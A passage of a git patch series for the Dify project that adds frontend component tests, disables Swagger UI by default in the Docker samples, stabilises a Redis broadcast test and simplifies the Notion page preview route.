+1 @@ +AGENTS.md \ No newline at end of file diff --git a/web/app/components/app/overview/app-card.tsx b/web/app/components/app/overview/app-card.tsx index a0f5780b71..15762923ff 100644 --- a/web/app/components/app/overview/app-card.tsx +++ b/web/app/components/app/overview/app-card.tsx @@ -401,7 +401,6 @@ function AppCard({ /> setShowCustomizeModal(false)} appId={appInfo.id} api_base_url={appInfo.api_base_url} diff --git a/web/app/components/app/overview/customize/index.spec.tsx b/web/app/components/app/overview/customize/index.spec.tsx new file mode 100644 index 0000000000..c960101b66 --- /dev/null +++ b/web/app/components/app/overview/customize/index.spec.tsx @@ -0,0 +1,434 @@ +import { fireEvent, render, screen, waitFor } from '@testing-library/react' +import CustomizeModal from './index' +import { AppModeEnum } from '@/types/app' + +// Mock useDocLink from context +const mockDocLink = jest.fn((path?: string) => `https://docs.dify.ai/en-US${path || ''}`) +jest.mock('@/context/i18n', () => ({ + useDocLink: () => mockDocLink, +})) + +// Mock window.open +const mockWindowOpen = jest.fn() +Object.defineProperty(window, 'open', { + value: mockWindowOpen, + writable: true, +}) + +describe('CustomizeModal', () => { + const defaultProps = { + isShow: true, + onClose: jest.fn(), + api_base_url: 'https://api.example.com', + appId: 'test-app-id-123', + mode: AppModeEnum.CHAT, + } + + beforeEach(() => { + jest.clearAllMocks() + }) + + // Rendering tests - verify component renders correctly with various configurations + describe('Rendering', () => { + it('should render without crashing when isShow is true', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + await waitFor(() => { + expect(screen.getByText('appOverview.overview.appInfo.customize.title')).toBeInTheDocument() + }) + }) + + it('should not render content when isShow is false', async () => { + // Arrange + const props = { ...defaultProps, isShow: false } + + // Act + render() + + // Assert + await waitFor(() => { + expect(screen.queryByText('appOverview.overview.appInfo.customize.title')).not.toBeInTheDocument() + }) + }) + + it('should render modal description', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + await waitFor(() => { + expect(screen.getByText('appOverview.overview.appInfo.customize.explanation')).toBeInTheDocument() + }) + }) + + it('should render way 1 and way 2 tags', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + await waitFor(() => { + expect(screen.getByText('appOverview.overview.appInfo.customize.way 1')).toBeInTheDocument() + expect(screen.getByText('appOverview.overview.appInfo.customize.way 2')).toBeInTheDocument() + }) + }) + + it('should render all step numbers (1, 2, 3)', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + await waitFor(() => { + expect(screen.getByText('1')).toBeInTheDocument() + expect(screen.getByText('2')).toBeInTheDocument() + expect(screen.getByText('3')).toBeInTheDocument() + }) + }) + + it('should render step instructions', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + await waitFor(() => { + expect(screen.getByText('appOverview.overview.appInfo.customize.way1.step1')).toBeInTheDocument() + expect(screen.getByText('appOverview.overview.appInfo.customize.way1.step2')).toBeInTheDocument() + expect(screen.getByText('appOverview.overview.appInfo.customize.way1.step3')).toBeInTheDocument() + }) + }) + + it('should render environment variables with appId and api_base_url', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + await waitFor(() => { + const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre') + expect(preElement).toBeInTheDocument() + expect(preElement?.textContent).toContain('NEXT_PUBLIC_APP_ID=\'test-app-id-123\'') + expect(preElement?.textContent).toContain('NEXT_PUBLIC_API_URL=\'https://api.example.com\'') + }) + }) + + it('should render GitHub icon in step 1 button', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert - find the GitHub link and verify it contains an SVG icon + await waitFor(() => { + const githubLink = screen.getByRole('link', { name: /step1Operation/i }) + expect(githubLink).toBeInTheDocument() + expect(githubLink.querySelector('svg')).toBeInTheDocument() + }) + }) + }) + + // Props tests - verify props are correctly applied + describe('Props', () => { + it('should display correct appId in environment variables', async () => { + // Arrange + const customAppId = 'custom-app-id-456' + const props = { ...defaultProps, appId: customAppId } + + // Act + render() + + // Assert + await waitFor(() => { + const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre') + expect(preElement?.textContent).toContain(`NEXT_PUBLIC_APP_ID='${customAppId}'`) + }) + }) + + it('should display correct api_base_url in environment variables', async () => { + // Arrange + const customApiUrl = 'https://custom-api.example.com' + const props = { ...defaultProps, api_base_url: customApiUrl } + + // Act + render() + + // Assert + await waitFor(() => { + const preElement = screen.getByText(/NEXT_PUBLIC_API_URL/i).closest('pre') + expect(preElement?.textContent).toContain(`NEXT_PUBLIC_API_URL='${customApiUrl}'`) + }) + }) + }) + + // Mode-based conditional rendering tests - verify GitHub link changes based on app mode + describe('Mode-based GitHub link', () => { + it('should link to webapp-conversation repo for CHAT mode', async () => { + // Arrange + const props = { ...defaultProps, mode: AppModeEnum.CHAT } + + // Act + render() + + // Assert + await waitFor(() => { + const githubLink = screen.getByRole('link', { name: /step1Operation/i }) + expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-conversation') + }) + }) + + it('should link to webapp-conversation repo for ADVANCED_CHAT mode', async () => { + // Arrange + const props = { ...defaultProps, mode: AppModeEnum.ADVANCED_CHAT } + + // Act + render() + + // Assert + await waitFor(() => { + const githubLink = screen.getByRole('link', { name: /step1Operation/i }) + expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-conversation') + }) + }) + + it('should link to webapp-text-generator repo for COMPLETION mode', async () => { + // Arrange + const props = { ...defaultProps, mode: AppModeEnum.COMPLETION } + + // Act + render() + + // Assert + await waitFor(() => { + const githubLink = screen.getByRole('link', { name: /step1Operation/i }) + expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-text-generator') + }) + }) + + it('should link to webapp-text-generator repo for WORKFLOW mode', async () => { + // Arrange + const props = { ...defaultProps, mode: AppModeEnum.WORKFLOW } + + // Act + render() + + // Assert + await waitFor(() => { + const githubLink = screen.getByRole('link', { name: /step1Operation/i }) + expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-text-generator') + }) + }) + + it('should link to webapp-text-generator repo for AGENT_CHAT mode', async () => { + // Arrange + const props = { ...defaultProps, mode: AppModeEnum.AGENT_CHAT } + + // Act + render() + + // Assert + await waitFor(() => { + const githubLink = screen.getByRole('link', { name: /step1Operation/i }) + expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-text-generator') + }) + }) + }) + + // External links tests - verify external links have correct security attributes + describe('External links', () => { + it('should have GitHub repo link that opens in new tab', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + await waitFor(() => { + const githubLink = screen.getByRole('link', { name: /step1Operation/i }) + expect(githubLink).toHaveAttribute('target', '_blank') + expect(githubLink).toHaveAttribute('rel', 'noopener noreferrer') + }) + }) + + it('should have Vercel docs link that opens in new tab', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + await waitFor(() => { + const vercelLink = screen.getByRole('link', { name: /step2Operation/i }) + expect(vercelLink).toHaveAttribute('href', 'https://vercel.com/docs/concepts/deployments/git/vercel-for-github') + expect(vercelLink).toHaveAttribute('target', '_blank') + expect(vercelLink).toHaveAttribute('rel', 'noopener noreferrer') + }) + }) + }) + + // User interactions tests - verify user actions trigger expected behaviors + describe('User Interactions', () => { + it('should call window.open with doc link when way 2 button is clicked', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + await waitFor(() => { + expect(screen.getByText('appOverview.overview.appInfo.customize.way2.operation')).toBeInTheDocument() + }) + + const way2Button = screen.getByText('appOverview.overview.appInfo.customize.way2.operation').closest('button') + expect(way2Button).toBeInTheDocument() + fireEvent.click(way2Button!) + + // Assert + expect(mockWindowOpen).toHaveBeenCalledTimes(1) + expect(mockWindowOpen).toHaveBeenCalledWith( + expect.stringContaining('/guides/application-publishing/developing-with-apis'), + '_blank', + ) + }) + + it('should call onClose when modal close button is clicked', async () => { + // Arrange + const onClose = jest.fn() + const props = { ...defaultProps, onClose } + + // Act + render() + + // Wait for modal to be fully rendered + await waitFor(() => { + expect(screen.getByText('appOverview.overview.appInfo.customize.title')).toBeInTheDocument() + }) + + // Find the close button by navigating from the heading to the close icon + // The close icon is an SVG inside a sibling div of the title + const heading = screen.getByRole('heading', { name: /customize\.title/i }) + const closeIcon = heading.parentElement!.querySelector('svg') + + // Assert - closeIcon must exist for the test to be valid + expect(closeIcon).toBeInTheDocument() + fireEvent.click(closeIcon!) + expect(onClose).toHaveBeenCalledTimes(1) + }) + }) + + // Edge cases tests - verify component handles boundary conditions + describe('Edge Cases', () => { + it('should handle empty appId', async () => { + // Arrange + const props = { ...defaultProps, appId: '' } + + // Act + render() + + // Assert + await waitFor(() => { + const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre') + expect(preElement?.textContent).toContain('NEXT_PUBLIC_APP_ID=\'\'') + }) + }) + + it('should handle empty api_base_url', async () => { + // Arrange + const props = { ...defaultProps, api_base_url: '' } + + // Act + render() + + // Assert + await waitFor(() => { + const preElement = screen.getByText(/NEXT_PUBLIC_API_URL/i).closest('pre') + expect(preElement?.textContent).toContain('NEXT_PUBLIC_API_URL=\'\'') + }) + }) + + it('should handle special characters in appId', async () => { + // Arrange + const specialAppId = 'app-id-with-special-chars_123' + const props = { ...defaultProps, appId: specialAppId } + + // Act + render() + + // Assert + await waitFor(() => { + const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre') + expect(preElement?.textContent).toContain(`NEXT_PUBLIC_APP_ID='${specialAppId}'`) + }) + }) + + it('should handle URL with special characters in api_base_url', async () => { + // Arrange + const specialApiUrl = 'https://api.example.com:8080/v1' + const props = { ...defaultProps, api_base_url: specialApiUrl } + + // Act + render() + + // Assert + await waitFor(() => { + const preElement = screen.getByText(/NEXT_PUBLIC_API_URL/i).closest('pre') + expect(preElement?.textContent).toContain(`NEXT_PUBLIC_API_URL='${specialApiUrl}'`) + }) + }) + }) + + // StepNum component tests - verify step number styling + describe('StepNum component', () => { + it('should render step numbers with correct styling class', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert - The StepNum component is the direct container of the text + await waitFor(() => { + const stepNumber1 = screen.getByText('1') + expect(stepNumber1).toHaveClass('rounded-2xl') + }) + }) + }) + + // GithubIcon component tests - verify GitHub icon renders correctly + describe('GithubIcon component', () => { + it('should render GitHub icon SVG within GitHub link button', async () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert - Find GitHub link and verify it contains an SVG icon with expected class + await waitFor(() => { + const githubLink = screen.getByRole('link', { name: /step1Operation/i }) + const githubIcon = githubLink.querySelector('svg') + expect(githubIcon).toBeInTheDocument() + expect(githubIcon).toHaveClass('text-text-secondary') + }) + }) + }) +}) diff --git a/web/app/components/app/overview/customize/index.tsx b/web/app/components/app/overview/customize/index.tsx index e440a8cf26..698bc98efd 100644 --- a/web/app/components/app/overview/customize/index.tsx +++ b/web/app/components/app/overview/customize/index.tsx @@ -12,7 +12,6 @@ import Tag from '@/app/components/base/tag' type IShareLinkProps = { isShow: boolean onClose: () => void - linkUrl: string api_base_url: string appId: string mode: AppModeEnum From e5cf0d0bf619abb1afcbada0f89e67674799e229 Mon Sep 17 00:00:00 2001 From: -LAN- Date: Tue, 16 Dec 2025 15:01:51 +0800 Subject: [PATCH 23/38] chore: Disable Swagger UI by default in docker samples (#29723) --- docker/.env.example | 2 +- docker/docker-compose.yaml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docker/.env.example b/docker/.env.example index 8be75420b1..feca68fa02 100644 --- a/docker/.env.example +++ b/docker/.env.example @@ -1421,7 +1421,7 @@ QUEUE_MONITOR_ALERT_EMAILS= QUEUE_MONITOR_INTERVAL=30 # Swagger UI configuration -SWAGGER_UI_ENABLED=true +SWAGGER_UI_ENABLED=false SWAGGER_UI_PATH=/swagger-ui.html # Whether to encrypt dataset IDs when exporting DSL files (default: true) diff --git a/docker/docker-compose.yaml b/docker/docker-compose.yaml index cc17b2853a..1e50792b6d 100644 --- a/docker/docker-compose.yaml +++ b/docker/docker-compose.yaml @@ -631,7 +631,7 @@ x-shared-env: &shared-api-worker-env QUEUE_MONITOR_THRESHOLD: ${QUEUE_MONITOR_THRESHOLD:-200} QUEUE_MONITOR_ALERT_EMAILS: ${QUEUE_MONITOR_ALERT_EMAILS:-} QUEUE_MONITOR_INTERVAL: ${QUEUE_MONITOR_INTERVAL:-30} - SWAGGER_UI_ENABLED: ${SWAGGER_UI_ENABLED:-true} + SWAGGER_UI_ENABLED: ${SWAGGER_UI_ENABLED:-false} SWAGGER_UI_PATH: ${SWAGGER_UI_PATH:-/swagger-ui.html} DSL_EXPORT_ENCRYPT_DATASET_ID: ${DSL_EXPORT_ENCRYPT_DATASET_ID:-true} DATASET_MAX_SEGMENTS_PER_REQUEST: ${DATASET_MAX_SEGMENTS_PER_REQUEST:-0} From 47cd94ec3e68c4c3b7e8adab2d179096e9b066ff Mon Sep 17 00:00:00 2001 From: Joel Date: Tue, 16 Dec 2025 15:06:53 +0800 Subject: [PATCH 24/38] chore: tests for billings (#29720) --- web/__mocks__/react-i18next.ts | 8 +- .../plans/cloud-plan-item/button.spec.tsx | 50 +++++ .../plans/cloud-plan-item/index.spec.tsx | 188 ++++++++++++++++++ .../plans/cloud-plan-item/list/index.spec.tsx | 30 +++ .../billing/pricing/plans/index.spec.tsx | 87 ++++++++ .../self-hosted-plan-item/button.spec.tsx | 61 ++++++ .../self-hosted-plan-item/index.spec.tsx | 143 +++++++++++++ .../self-hosted-plan-item/list/index.spec.tsx | 25 +++ .../self-hosted-plan-item/list/item.spec.tsx | 12 ++ 9 files changed, 603 insertions(+), 1 deletion(-) create mode 100644 web/app/components/billing/pricing/plans/cloud-plan-item/button.spec.tsx create mode 100644 web/app/components/billing/pricing/plans/cloud-plan-item/index.spec.tsx create mode 100644 web/app/components/billing/pricing/plans/cloud-plan-item/list/index.spec.tsx create mode 100644 web/app/components/billing/pricing/plans/index.spec.tsx create mode 100644 web/app/components/billing/pricing/plans/self-hosted-plan-item/button.spec.tsx create mode 100644 web/app/components/billing/pricing/plans/self-hosted-plan-item/index.spec.tsx create mode 100644 web/app/components/billing/pricing/plans/self-hosted-plan-item/list/index.spec.tsx create mode 100644 web/app/components/billing/pricing/plans/self-hosted-plan-item/list/item.spec.tsx diff --git a/web/__mocks__/react-i18next.ts b/web/__mocks__/react-i18next.ts index b0d22e0cc0..1e3f58927e 100644 --- a/web/__mocks__/react-i18next.ts +++ b/web/__mocks__/react-i18next.ts @@ -19,7 +19,13 @@ */ export const useTranslation = () => ({ - t: (key: string) => key, + t: (key: string, options?: Record) => { + if (options?.returnObjects) + return [`${key}-feature-1`, `${key}-feature-2`] + if (options) + return `${key}:${JSON.stringify(options)}` + return key + }, i18n: { language: 'en', changeLanguage: jest.fn(), diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/button.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/button.spec.tsx new file mode 100644 index 0000000000..0c50c80c87 --- /dev/null +++ b/web/app/components/billing/pricing/plans/cloud-plan-item/button.spec.tsx @@ -0,0 +1,50 @@ +import React from 'react' +import { fireEvent, render, screen } from '@testing-library/react' +import Button from './button' +import { Plan } from '../../../type' + +describe('CloudPlanButton', () => { + describe('Disabled state', () => { + test('should disable button and hide arrow when plan is not available', () => { + const handleGetPayUrl = jest.fn() + // Arrange + render( +
- ) } diff --git a/web/app/components/app/overview/apikey-info-panel/apikey-info-panel.test-utils.tsx b/web/app/components/app/overview/apikey-info-panel/apikey-info-panel.test-utils.tsx index 36a1c5a008..1b1e729546 100644 --- a/web/app/components/app/overview/apikey-info-panel/apikey-info-panel.test-utils.tsx +++ b/web/app/components/app/overview/apikey-info-panel/apikey-info-panel.test-utils.tsx @@ -188,15 +188,15 @@ export const interactions = { // Text content keys for assertions export const textKeys = { selfHost: { - titleRow1: 'appOverview.apiKeyInfo.selfHost.title.row1', - titleRow2: 'appOverview.apiKeyInfo.selfHost.title.row2', - setAPIBtn: 'appOverview.apiKeyInfo.setAPIBtn', - tryCloud: 'appOverview.apiKeyInfo.tryCloud', + titleRow1: /appOverview\.apiKeyInfo\.selfHost\.title\.row1/, + titleRow2: /appOverview\.apiKeyInfo\.selfHost\.title\.row2/, + setAPIBtn: /appOverview\.apiKeyInfo\.setAPIBtn/, + tryCloud: /appOverview\.apiKeyInfo\.tryCloud/, }, cloud: { - trialTitle: 'appOverview.apiKeyInfo.cloud.trial.title', + trialTitle: /appOverview\.apiKeyInfo\.cloud\.trial\.title/, trialDescription: /appOverview\.apiKeyInfo\.cloud\.trial\.description/, - setAPIBtn: 'appOverview.apiKeyInfo.setAPIBtn', + setAPIBtn: /appOverview\.apiKeyInfo\.setAPIBtn/, }, } From 0749e6e090c6ca23778d0121f9e7e51c326cf4ee Mon Sep 17 00:00:00 2001 From: -LAN- Date: Tue, 16 Dec 2025 16:35:55 +0800 Subject: [PATCH 28/38] test: Stabilize sharded Redis broadcast multi-subscriber test (#29733) Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com> --- .../redis/test_sharded_channel.py | 24 ++++++++++++++++--- 1 file changed, 21 insertions(+), 3 deletions(-) diff --git a/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py b/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py index af60adf1fb..d612e70910 100644 --- a/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py +++ b/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py @@ -113,16 +113,31 @@ class TestShardedRedisBroadcastChannelIntegration: topic = broadcast_channel.topic(topic_name) producer = topic.as_producer() subscriptions = [topic.subscribe() for _ in range(subscriber_count)] + ready_events = [threading.Event() for _ in range(subscriber_count)] def producer_thread(): - time.sleep(0.2) # Allow all subscribers to connect + deadline = time.time() + 5.0 + for ev in ready_events: + remaining = deadline - time.time() + if remaining <= 0: + break + if not ev.wait(timeout=max(0.0, remaining)): + pytest.fail("subscriber did not become ready before publish deadline") producer.publish(message) time.sleep(0.2) for sub in subscriptions: sub.close() - def consumer_thread(subscription: Subscription) -> list[bytes]: + def consumer_thread(subscription: Subscription, ready_event: threading.Event) -> list[bytes]: received_msgs = [] + # Prime subscription so the underlying Pub/Sub listener thread starts before publishing + try: + _ = subscription.receive(0.01) + except SubscriptionClosedError: + return received_msgs + finally: + ready_event.set() + while True: try: msg = subscription.receive(0.1) @@ -137,7 +152,10 @@ class TestShardedRedisBroadcastChannelIntegration: with ThreadPoolExecutor(max_workers=subscriber_count + 1) as executor: producer_future = executor.submit(producer_thread) - consumer_futures = [executor.submit(consumer_thread, subscription) for subscription in subscriptions] + consumer_futures = [ + executor.submit(consumer_thread, subscription, ready_events[idx]) + for idx, subscription in enumerate(subscriptions) + ] producer_future.result(timeout=10.0) msgs_by_consumers = [] From d2b63df7a12e5115a6104a50edbc6d2a68f8dd8d Mon Sep 17 00:00:00 2001 From: Joel Date: Tue, 16 Dec 2025 16:39:04 +0800 Subject: [PATCH 29/38] chore: tests for components in config (#29739) --- .../cannot-query-dataset.spec.tsx | 22 +++++++++ .../warning-mask/formatting-changed.spec.tsx | 39 ++++++++++++++++ .../warning-mask/has-not-set-api.spec.tsx | 26 +++++++++++ .../base/warning-mask/index.spec.tsx | 25 +++++++++++ .../select-type-item/index.spec.tsx | 45 +++++++++++++++++++ 5 files changed, 157 insertions(+) create mode 100644 web/app/components/app/configuration/base/warning-mask/cannot-query-dataset.spec.tsx create mode 100644 web/app/components/app/configuration/base/warning-mask/formatting-changed.spec.tsx create mode 100644 web/app/components/app/configuration/base/warning-mask/has-not-set-api.spec.tsx create mode 100644 web/app/components/app/configuration/base/warning-mask/index.spec.tsx create mode 100644 web/app/components/app/configuration/config-var/select-type-item/index.spec.tsx diff --git a/web/app/components/app/configuration/base/warning-mask/cannot-query-dataset.spec.tsx b/web/app/components/app/configuration/base/warning-mask/cannot-query-dataset.spec.tsx new file mode 100644 index 0000000000..d625e9fb72 --- /dev/null +++ b/web/app/components/app/configuration/base/warning-mask/cannot-query-dataset.spec.tsx @@ -0,0 +1,22 @@ +import React from 'react' +import { fireEvent, render, screen } from '@testing-library/react' +import CannotQueryDataset from './cannot-query-dataset' + +describe('CannotQueryDataset WarningMask', () => { + test('should render dataset warning copy and action button', () => { + const onConfirm = jest.fn() + render() + + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.unableToQueryDataSet')).toBeInTheDocument() + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.unableToQueryDataSetTip')).toBeInTheDocument() + expect(screen.getByRole('button', { name: 'appDebug.feature.dataSet.queryVariable.ok' })).toBeInTheDocument() + }) + + test('should invoke onConfirm when OK button clicked', () => { + const onConfirm = jest.fn() + render() + + fireEvent.click(screen.getByRole('button', { name: 'appDebug.feature.dataSet.queryVariable.ok' })) + expect(onConfirm).toHaveBeenCalledTimes(1) + }) +}) diff --git a/web/app/components/app/configuration/base/warning-mask/formatting-changed.spec.tsx b/web/app/components/app/configuration/base/warning-mask/formatting-changed.spec.tsx new file mode 100644 index 0000000000..a968bde272 --- /dev/null +++ b/web/app/components/app/configuration/base/warning-mask/formatting-changed.spec.tsx @@ -0,0 +1,39 @@ +import React from 'react' +import { fireEvent, render, screen } from '@testing-library/react' +import FormattingChanged from './formatting-changed' + +describe('FormattingChanged WarningMask', () => { + test('should display translation text and both actions', () => { + const onConfirm = jest.fn() + const onCancel = jest.fn() + + render( + , + ) + + expect(screen.getByText('appDebug.formattingChangedTitle')).toBeInTheDocument() + expect(screen.getByText('appDebug.formattingChangedText')).toBeInTheDocument() + expect(screen.getByRole('button', { name: 'common.operation.cancel' })).toBeInTheDocument() + expect(screen.getByRole('button', { name: /common\.operation\.refresh/ })).toBeInTheDocument() + }) + + test('should call callbacks when buttons are clicked', () => { + const onConfirm = jest.fn() + const onCancel = jest.fn() + render( + , + ) + + fireEvent.click(screen.getByRole('button', { name: /common\.operation\.refresh/ })) + fireEvent.click(screen.getByRole('button', { name: 'common.operation.cancel' })) + + expect(onConfirm).toHaveBeenCalledTimes(1) + expect(onCancel).toHaveBeenCalledTimes(1) + }) +}) diff --git a/web/app/components/app/configuration/base/warning-mask/has-not-set-api.spec.tsx b/web/app/components/app/configuration/base/warning-mask/has-not-set-api.spec.tsx new file mode 100644 index 0000000000..46608374da --- /dev/null +++ b/web/app/components/app/configuration/base/warning-mask/has-not-set-api.spec.tsx @@ -0,0 +1,26 @@ +import React from 'react' +import { fireEvent, render, screen } from '@testing-library/react' +import HasNotSetAPI from './has-not-set-api' + +describe('HasNotSetAPI WarningMask', () => { + test('should show default title when trial not finished', () => { + render() + + expect(screen.getByText('appDebug.notSetAPIKey.title')).toBeInTheDocument() + expect(screen.getByText('appDebug.notSetAPIKey.description')).toBeInTheDocument() + }) + + test('should show trail finished title when flag is true', () => { + render() + + expect(screen.getByText('appDebug.notSetAPIKey.trailFinished')).toBeInTheDocument() + }) + + test('should call onSetting when primary button clicked', () => { + const onSetting = jest.fn() + render() + + fireEvent.click(screen.getByRole('button', { name: 'appDebug.notSetAPIKey.settingBtn' })) + expect(onSetting).toHaveBeenCalledTimes(1) + }) +}) diff --git a/web/app/components/app/configuration/base/warning-mask/index.spec.tsx b/web/app/components/app/configuration/base/warning-mask/index.spec.tsx new file mode 100644 index 0000000000..6d533a423d --- /dev/null +++ b/web/app/components/app/configuration/base/warning-mask/index.spec.tsx @@ -0,0 +1,25 @@ +import React from 'react' +import { render, screen } from '@testing-library/react' +import WarningMask from './index' + +describe('WarningMask', () => { + // Rendering of title, description, and footer content + describe('Rendering', () => { + test('should display provided title, description, and footer node', () => { + const footer = + // Arrange + render( + , + ) + + // Assert + expect(screen.getByText('Access Restricted')).toBeInTheDocument() + expect(screen.getByText('Only workspace owners may modify this section.')).toBeInTheDocument() + expect(screen.getByRole('button', { name: 'Retry' })).toBeInTheDocument() + }) + }) +}) diff --git a/web/app/components/app/configuration/config-var/select-type-item/index.spec.tsx b/web/app/components/app/configuration/config-var/select-type-item/index.spec.tsx new file mode 100644 index 0000000000..469164e607 --- /dev/null +++ b/web/app/components/app/configuration/config-var/select-type-item/index.spec.tsx @@ -0,0 +1,45 @@ +import React from 'react' +import { fireEvent, render, screen } from '@testing-library/react' +import SelectTypeItem from './index' +import { InputVarType } from '@/app/components/workflow/types' + +describe('SelectTypeItem', () => { + // Rendering pathways based on type and selection state + describe('Rendering', () => { + test('should render ok', () => { + // Arrange + const { container } = render( + , + ) + + // Assert + expect(screen.getByText('appDebug.variableConfig.text-input')).toBeInTheDocument() + expect(container.querySelector('svg')).not.toBeNull() + }) + }) + + // User interaction outcomes + describe('Interactions', () => { + test('should trigger onClick when item is pressed', () => { + const handleClick = jest.fn() + // Arrange + render( + , + ) + + // Act + fireEvent.click(screen.getByText('appDebug.variableConfig.paragraph')) + + // Assert + expect(handleClick).toHaveBeenCalledTimes(1) + }) + }) +}) From ae4a9040dfd344fa0888a23dfd9813ad25284def Mon Sep 17 00:00:00 2001 From: Jyong <76649700+JohnJyong@users.noreply.github.com> Date: Tue, 16 Dec 2025 16:43:45 +0800 Subject: [PATCH 30/38] Feat/update notion preview (#29345) Co-authored-by: twwu --- api/controllers/console/datasets/data_source.py | 7 +++---- api/core/rag/extractor/entity/extract_setting.py | 2 +- api/core/rag/extractor/extract_processor.py | 2 +- .../datasets/create/notion-page-preview/index.tsx | 1 - web/service/datasets.ts | 4 ++-- 5 files changed, 7 insertions(+), 9 deletions(-) diff --git a/api/controllers/console/datasets/data_source.py b/api/controllers/console/datasets/data_source.py index 01f268d94d..95399fad13 100644 --- a/api/controllers/console/datasets/data_source.py +++ b/api/controllers/console/datasets/data_source.py @@ -218,14 +218,14 @@ class DataSourceNotionListApi(Resource): @console_ns.route( - "/notion/workspaces//pages///preview", + "/notion/pages///preview", "/datasets/notion-indexing-estimate", ) class DataSourceNotionApi(Resource): @setup_required @login_required @account_initialization_required - def get(self, workspace_id, page_id, page_type): + def get(self, page_id, page_type): _, current_tenant_id = current_account_with_tenant() credential_id = request.args.get("credential_id", default=None, type=str) @@ -239,11 +239,10 @@ class DataSourceNotionApi(Resource): plugin_id="langgenius/notion_datasource", ) - workspace_id = str(workspace_id) page_id = str(page_id) extractor = NotionExtractor( - notion_workspace_id=workspace_id, + notion_workspace_id="", notion_obj_id=page_id, notion_page_type=page_type, notion_access_token=credential.get("integration_secret"), diff --git a/api/core/rag/extractor/entity/extract_setting.py b/api/core/rag/extractor/entity/extract_setting.py index c3bfbce98f..0c42034073 100644 --- a/api/core/rag/extractor/entity/extract_setting.py +++ b/api/core/rag/extractor/entity/extract_setting.py @@ -10,7 +10,7 @@ class NotionInfo(BaseModel): """ credential_id: str | None = None - notion_workspace_id: str + notion_workspace_id: str | None = "" notion_obj_id: str notion_page_type: str document: Document | None = None diff --git a/api/core/rag/extractor/extract_processor.py b/api/core/rag/extractor/extract_processor.py index 0f62f9c4b6..013c287248 100644 --- a/api/core/rag/extractor/extract_processor.py +++ b/api/core/rag/extractor/extract_processor.py @@ -166,7 +166,7 @@ class ExtractProcessor: elif extract_setting.datasource_type == DatasourceType.NOTION: assert extract_setting.notion_info is not None, "notion_info is required" extractor = NotionExtractor( - notion_workspace_id=extract_setting.notion_info.notion_workspace_id, + notion_workspace_id=extract_setting.notion_info.notion_workspace_id or "", notion_obj_id=extract_setting.notion_info.notion_obj_id, notion_page_type=extract_setting.notion_info.notion_page_type, document_model=extract_setting.notion_info.document, diff --git a/web/app/components/datasets/create/notion-page-preview/index.tsx b/web/app/components/datasets/create/notion-page-preview/index.tsx index 000b84ac62..edbee2b194 100644 --- a/web/app/components/datasets/create/notion-page-preview/index.tsx +++ b/web/app/components/datasets/create/notion-page-preview/index.tsx @@ -29,7 +29,6 @@ const NotionPagePreview = ({ return try { const res = await fetchNotionPagePreview({ - workspaceID: currentPage.workspace_id, pageID: currentPage.page_id, pageType: currentPage.type, credentialID: notionCredentialId, diff --git a/web/service/datasets.ts b/web/service/datasets.ts index 624da433f8..8791a61b7c 100644 --- a/web/service/datasets.ts +++ b/web/service/datasets.ts @@ -185,8 +185,8 @@ export const fetchFileIndexingEstimate = (body: IndexingEstimateParams): Promise return post('/datasets/indexing-estimate', { body }) } -export const fetchNotionPagePreview = ({ workspaceID, pageID, pageType, credentialID }: { workspaceID: string; pageID: string; pageType: string; credentialID: string }): Promise<{ content: string }> => { - return get<{ content: string }>(`notion/workspaces/${workspaceID}/pages/${pageID}/${pageType}/preview`, { +export const fetchNotionPagePreview = ({ pageID, pageType, credentialID }: { pageID: string; pageType: string; credentialID: string }): Promise<{ content: string }> => { + return get<{ content: string }>(`notion/pages/${pageID}/${pageType}/preview`, { params: { credential_id: credentialID, }, From b7649f61f842ce8c39c923f3898f8912450b7095 Mon Sep 17 00:00:00 2001 From: zyssyz123 <916125788@qq.com> Date: Tue, 16 Dec 2025 16:55:51 +0800 Subject: [PATCH 31/38] fix: Login secret text transmission (#29659) Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com> Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com> Co-authored-by: Joel Co-authored-by: -LAN- --- api/.env.example | 2 +- api/controllers/console/auth/login.py | 9 +- api/controllers/console/wraps.py | 82 ++++++++++ api/libs/encryption.py | 66 ++++++++ .../auth/test_authentication_security.py | 18 ++- .../console/auth/test_email_verification.py | 25 ++- .../console/auth/test_login_logout.py | 32 +++- api/tests/unit_tests/libs/test_encryption.py | 